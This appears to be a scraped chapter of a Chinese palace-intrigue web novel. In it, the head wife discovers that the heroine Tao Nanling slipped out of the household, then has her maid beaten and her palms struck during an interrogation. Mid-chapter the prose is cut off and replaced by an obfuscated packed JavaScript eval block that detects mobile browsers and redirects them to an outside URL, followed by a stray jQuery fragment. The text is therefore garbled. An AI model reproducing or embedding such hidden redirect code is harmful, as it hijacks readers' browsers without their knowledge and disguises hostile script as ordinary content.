第6章被发现
“三娘子,大夫人从听竹苑带走了存菊和满月,您快回去吧。”
说话之人精瘦矍铄,皮肤黝黑,是居住在陶府隔壁的周瓦匠,他原来是住陶府的,成亲后得老夫人准许分出府去到外边居住。
“怎会?”
陶南岭眉头紧皱,无意识撕扯嘴皮,血丝顺着唇纹四散。
大夫人从不会屈尊踏足她的听竹苑,怎会突然登门,还直接拿住她的婢女。
她显然知道她已不在府内,有备而来!
陶南岭左思右想,想不出来究竟是哪里出了纰漏?
“三娘子,内人今早正准备去五小姐那做秀活,却瞧见几名巡查司的辅兵到府,为首那位长相俊俏的小郎君见过相爷和夫人后,夫人便气势汹汹去听竹苑拿了存菊和满月小姐。”周瓦匠语音急促,他听到消息便一路狂奔到这来,气都还没喘匀。
陶南岭心跳如擂鼓。
她只听到自己的声音在耳边响起:“他们是否一位眼神极冷,一位皮肤极白,一位眉清目秀,身材稍矮,身后背着一把巨剑?”
“是的,三娘子,一模一样,不过还有一人,那位身材壮实,胳膊差不多有小人两个粗。”
周瓦匠双手报圈,比划了几下。
对了,就是那几人,怪不得离开时总觉如芒刺背,有人窥视。
可她的身份是如何暴露的?那几人目的为何?
她与几人素昧平生,平常也不曾开罪于他们。
“看来三娘子今日还有要事需处理,我也累了。”归一拂了拂衣袖,显露逐客的意味。
“多谢大师今日解惑。”陶南岭半蹲身子行礼,起身后,她挂起最得体的微笑,“大师腿已无碍,庙中应还有要事需处理,小女不好强留,待大师想离开时便通知庄内备马车送您回去,小女先行告退。”
说完,陶南岭转身出门离开寻找赵婆子他们告别。
“赵嬷嬷,府中有点事儿,我得先回去处理一下。”陶南岭环住赵婆子臂膀,贪恋地低嗅她身上温柔的味道。
“三姐儿,刚刚周瓦匠嚷着存菊和满月丫头被大夫人绑了?”赵婆子担忧地拍了拍南岭的背心,“你回去,大夫人可会难为你?”
“怎会?嬷嬷,您忘啦,我好歹也是被相爷承认,被陶家写进宗祠族谱的,嫡母不会明面上苛待于我,您放心!”半真半假,见赵婆子神色放松下来,陶南岭才松手。
“那——那好吧,三姐儿,您先回去处理要紧事,
莲蓉糕还没蒸好,待我弄好后交给孙老汉,叫他明个儿送菜的时候给您带进府。”赵婆子眼底含泪,依依不舍,对南岭,她当她是亲女,想到这一年半载的没见到面,好不容易见了一面却连块莲蓉糕都没吃到便又要离开,她拿起手帕擦了擦眼角。
尽管再不舍,陶南岭也只得咬牙离开明月庄,她需得抓紧时间回相府,否则存菊恐怕要多吃点苦头。
*
陶南岭紧赶慢赶,也花了半个时辰,当她跨进棕黑色侧门时,看见一名年约四十岁,身材丰腴,嘴角一颗大痦子的女人站在不远处的树荫下看着她。
覃嬷嬷!
她是覃府的家生奴才,随覃弄夕一齐嫁入陶家的陪嫁嬷嬷,很得大夫人信赖和亲眼。
“三小姐回来了?”覃嬷嬷微蹲,散漫地俯了个身。
她面露假笑,伸出左手对着南岭做了个请的姿势,“请吧,三小姐,夫人在恕思堂等您。”
好熟悉的地点,陶南岭微勾嘴角,主母仍然如此没有新意。
覃嬷嬷话音刚落,位于身后的两位侍女便上前站到陶南岭身侧。
大有她若反抗将会直接捉走的架势。
陶南岭稳了稳心神,微笑着,对二人尊敬有加,“请两位姐姐带路。”
陶南岭一进恕思堂,便见“家风清正”的红木牌匾下坐着的陶覃氏。
她身上穿着上京时兴的春满园四经纹罗丝绸织成的无袖背心长窄衣,衣裳由蚕丝与金丝交织绣海棠双鸟纹。
陶南岭走近双手交叠,跪地行叩拜礼,礼成后她并未起身,仅半抬下巴小心唤了句,“母亲。”便闭口不语,等待发落。
“我倒是不知上京城有哪家闺秀出门不向主母报备?”陶覃氏轻轻扇了扇手中的美人扇,额间碎发随微风飘动。
覃嬷嬷睨着主母脸色,脸上陪着笑:“到底不是在夫人手下长大的。”言语之间尽是奚落的意味。
陶覃氏听完呵呵一笑,她伸出美人扇抬起陶南岭的下巴,左右端详一圈,“倒是不知我家三娘子本事如此之大,全府限制出行,还能神不知鬼不觉出门,究竟谁在帮你呢?”美人扇发力,将她脸上压出红痕。
“母——母亲,是南岭的错,没有人帮南岭,是南岭趁门房轮值时私自离开的。”陶南岭痛的眼眶通红,双眸含泪,泪珠划过粉腮最后摔碎于扇面。
“真是惹人怜爱。”美人扇离开,陶覃氏瞧着扇上已经晕染成一团的泪水,眼底闪过一丝嫌弃,她随手将扇子扔给身旁的大丫鬟。
陶覃氏吊梢眉一翘,微眯双眼冷笑道:“将存菊和满月带上来。”
不一会儿,小厮拖着两名女子扔到陶南岭面前。
定睛一看,陶南岭脸色逐渐变得苍白。
只见存菊虚弱趴在地上,白色寝衣沾了些血沫,身后裹满黑泥和碎柴,她的脸颊高高肿起,嘴角血迹已经变黑蔓延至侧脖颈,双指更是惨不忍睹,指间皮肤被利器夹烂,血肉模糊,十根指甲见不到一块完好无损的甲片。
再看满月,情况比之存菊好上不少,毕竟是刘管事的女儿,只左脸有个巴掌印,又红又肿,只是她神情惊慌,双眼哭的红肿,本就不大的眼睛此刻更是肿成了一条缝。
“母亲——不——不——大夫人,是我临时起意偷偷出府,与她二人无关。”陶南岭一边磕头一边求饶,“求夫人绕过她们,是我说今日不舒服想睡觉,叫她们无事不许进屋烦我,是南岭一人所为,她们均不知情!”两行清泪落下,没一会儿额头被磕破皮,血液自额头流下,可她却无法顾及,只因陶覃氏没有喊停。
“砰~砰~砰~”
“砰~砰~”
“好了。”陶覃氏撇了一圈周遭的侍从,挥了挥手,为了留个好名声,她只得叫南岭停下来,“只要你老实交代今日何人助你出府,你出府为何,我便放过你们。”
说完,她眉头一拧,一丝狠戾划过双眸,“若不如实交代,存菊看护主子不力,我陶府可从不留无用之人,
而你,陶南岭,跪冰室三日,且从今日起不许再踏出听竹苑半步。”
冰室,黑漆漆,伸手不见五指,冷冰冰,无边无际的冷,那里没有一个人,连呼吸、求饶都没有人回应,就像冷冰冰的棺材,没有温暖,只有冷。
陶南岭听到冰室时浑身僵硬,指尖微颤,眼中压抑着极深极深的恐惧。
那个地方对她来说,是噩梦一般的存在。
“夫人,我说,是送菜的孙老汉,我买通他助我出府,东厢伙房李东顺家的媳妇今早也看到我二人了。”
陶覃氏听后狐疑,覃嬷嬷派人传唤李东顺两口子来了恕思堂。
他二人一到,见着堂上众人神情和存菊满月惨状,双脚一软便跪倒在地磕头求饶:
“夫人,绕过小的。”
“夫人,绕过奴婢。”
覃嬷嬷清清嗓子:“你二人莫非已经知道传唤你们所谓何事?怎的什么都还没问就磕头求饶了?”
李东顺听闻心下暗觉不对,一双芝麻绿豆眼滴溜溜扫了周围一圈,心才放半颗回了肚子里,他夫妻二人偷卖主子东西的事情应该没被发现,否则在场被罚的怎会只有三小姐和她苑里的人,想到这,他用手肘狠狠撞了下旁边哭天喊地,一副死了老父亲模样的吴婆子。
二人戛然而止,抬起狼狈的脸看向满脸不耐的陶覃氏,李东顺作揖谄媚道:“大夫人,小的刚刚失礼了,实在因为您威严在前,小的们光见您一面便被震慑的双腿发软呐。”
这马屁没有拍到腿上,陶覃氏最喜外人赞她治家有方,威严端庄。
“咳咳~我问你两,今早有无见过三娘子?”
二人相望,丈二和尚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362413|183747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摸不着头脑,又听覃嬷嬷提示:“早日卯时,跟着送菜的孙老头!”
“那不是孙老头的孙——哎哟——你拧我干啥?”吴婆子疑惑看着掐她大腿的李东顺,那老头挤眉弄眼,蔫巴皱的面皮挤成一坨,像耍杂技的,滑稽招笑的很。
可终究做了多年夫妻,默契还是有的,吴婆子稍微静下心琢磨会便明白老头意思。
她将原准备摇的头改为点头,忙不迭肯定道:“是有一女子,但孙老头说是他孙儿,奴婢想着他送菜多年没出半点纰漏,信了他的说辞。”
陶覃氏听闻点点头,覃嬷嬷这才招呼二人下去。
二人越走越远,但她俩对话却没其他人听到:
“老头,今晨卯时孙老汉旁却是站了一位,但我真真记得是个少年郎,好像那个子瞧着可比三娘子高不少呢。”
“蠢妇,大夫人想叫咱咋说,咱就得咋说,
只要贵人想,便是卯时没有出现那少年郎,将灶台上的耗子编作少年郎,对咱来说也是编得的。
哄主子们宽心,上下两片嘴唇子碰一碰便成的好事!何乐而不为?
况且这还只是颠倒个男女?”
话说回陶南岭这头,陶覃氏听着李东顺夫妇的供词,总算信了三分。
她又问:“你偷出府所谓何事?”见陶南岭半晌不开口,她怒意上涌,厉声复问:“究竟所谓何事?”
陶南岭依旧噙着泪惨白个脸不说话,她便叫覃嬷嬷上了竹板。
这竹板是覃嬷嬷专用来罚她手下不听话或犯错的婢女。
“小姐,对不住了!”覃嬷嬷说完,抓住陶南岭的手心,一下一下将竹板拍上她的手心,很快,瓷白的手心变得通红,没打几下,她手心就又红又肿。
“痛,好痛,大夫人,我说,我说,快别打了。”陶南岭的泪珠如断了线的珍珠,源源不断从脸上滑落,她哭的鼻头通红。
覃嬷嬷见大夫人点头,才停手收回竹板。
“是,是因为弟弟,他今日忌日。我偷摸出府只为祭奠。”
大钊特殊丧葬规矩,若人意外横死,需大火焚烧三天三夜,被族人供奉七七四十九天,撒入晏照江才能保家宅安康,无邪祟作祟。
陶覃氏听后,面容扭曲片刻。
陶宁泽身为陶府长子,死后却连陶家祖坟都没入,这其中当然少不了她的“功劳”。
现下见陶南岭偷偷祭奠他,她心中横亘出一道深渊,仿佛一瞬间又回到当年香姨娘进府时盛宠的时光,那段她一辈子都不想再回忆起的日子。
但眼下当着这么多奴才的面,她不能失了她最看重的体面和体统。
她悄悄深呼一口气,语气和缓:
“你纪念兄弟,人之常情,我亦不是不通人情之人,若你提前请示,我还能阻你不成?你又一次罔顾我顾家家规,罚你去冰室反省一晚。
听竹苑所有奴仆杂役看管主子不利发俸三月!
你可有话说?”
“谢夫人恩德!”陶南岭磕头道谢。
“满月这丫头在你这儿也没什么用,不如回我这帮你调教调教,晚点我再派两个更得力的去你苑里伺候。”
“是,南岭多谢夫人。”
陶覃氏这才满意点点头,示意她们搀好满月,带着身后乌乌泱泱的丫鬟婆子们走了。
“存菊,你怎么样了?”陶南岭见人都散了,周围空寂无人,她连忙上前将存菊揽入怀中。
“主子,您何苦为了我受这些罪。”存菊眼含心疼,她用沾满血渍的手指轻抚南岭额头伤口和红肿的掌心。
“她知道我怕疼,若我轻易说出来,她必不会信我。”陶南岭握住存菊的手,“存菊,先别说话,我带你回听竹苑,待伤养好,你想问什么我都会回答你。”
“可是,主子,您不该主动挑衅,也不该激怒大夫人。”存菊眼角的泪落下。
“她伤了你,我现下虽无法在她身体上捅一刀为你报仇,但在她心口捅刀子岂不是更痛快。”陶南岭脸上露出一抹残忍笑容。
“走。”陶南岭将存菊背上,慢慢挪回听竹苑。